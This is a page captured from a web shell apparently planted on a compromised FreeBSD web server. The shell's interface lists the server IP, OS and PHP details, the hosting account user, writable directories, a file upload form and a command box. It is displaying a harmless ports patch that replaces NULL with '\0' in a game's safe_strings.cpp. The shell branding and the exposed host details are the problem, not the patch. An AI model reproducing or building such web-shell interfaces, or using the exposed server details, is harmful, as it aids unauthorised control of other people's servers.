403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/games/diaspora/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/games/diaspora/files/patch-code_globalincs_safe__strings.cpp
# Fixes for a couple of clang warnings
# https://github.com/scp-fs2open/fs2open.github.com/commit/5bff2754c267f0e3e5af7d542f09a1760f24f17d

--- code/globalincs/safe_strings.cpp.orig	2012-01-13 18:37:09 UTC
+++ code/globalincs/safe_strings.cpp
@@ -22,11 +22,6 @@
 
 #if !defined(NO_SAFE_STRINGS) && ( !defined( _MSC_VER ) || ( defined( _MSC_VER ) && _MSC_VER >= 1400 /* && !defined(NDEBUG) */ ))
 
-/* We don't have this here - no standard library stuff included */
-#ifndef NULL
-#define NULL 0
-#endif
-
 /* An implementation of strcpy_s 
  * We're not going to actually fully behave like the MS debug version.
  */
@@ -39,14 +34,14 @@ errno_t scp_strcpy_s( const char* file, 
 	if ( !strDest || !strSource )
 	{
 		if ( strDest )
-			*strDest = NULL;
+			*strDest = '\0';
 		__safe_strings_error_handler( EINVAL );
 		return EINVAL;
 	}
 
 	if ( sizeInBytes == 0 )
 	{
-		*strDest = NULL;
+		*strDest = '\0';
 		__safe_strings_error_handler( ERANGE );
 		return ERANGE;
 	}
@@ -58,7 +53,7 @@ errno_t scp_strcpy_s( const char* file, 
 
 	if ( bufferLeft == 0 )
 	{
-		*strDest = NULL;
+		*strDest = '\0';
 		__safe_strings_error_handler( ERANGE );
 		return ERANGE;
 	}
@@ -75,14 +70,14 @@ errno_t scp_strcat_s( const char* file, 
 	if ( !strDest || !strSource )
 	{
 		if ( strDest )
-			*strDest = NULL;
+			*strDest = '\0';
 		__safe_strings_error_handler( EINVAL );
 		return EINVAL;
 	}
 
 	if ( bufferLeft == 0 )
 	{
-		*strDest = NULL;
+		*strDest = '\0';
 		__safe_strings_error_handler( ERANGE );
 		return ERANGE;
 	}
@@ -98,7 +93,7 @@ errno_t scp_strcat_s( const char* file, 
 
 	if ( bufferLeft == 0 )
 	{
-		*strDest = NULL;
+		*strDest = '\0';
 		__safe_strings_error_handler( ERANGE );
 		return ERANGE;
 	}
@@ -108,7 +103,7 @@ errno_t scp_strcat_s( const char* file, 
 
 	if ( bufferLeft == 0 )
 	{
-		*strDest = NULL;
+		*strDest = '\0';
 		__safe_strings_error_handler( ERANGE );
 		return ERANGE;
 	}

Youez - 2016 - github.com/yon3zu
LinuXploit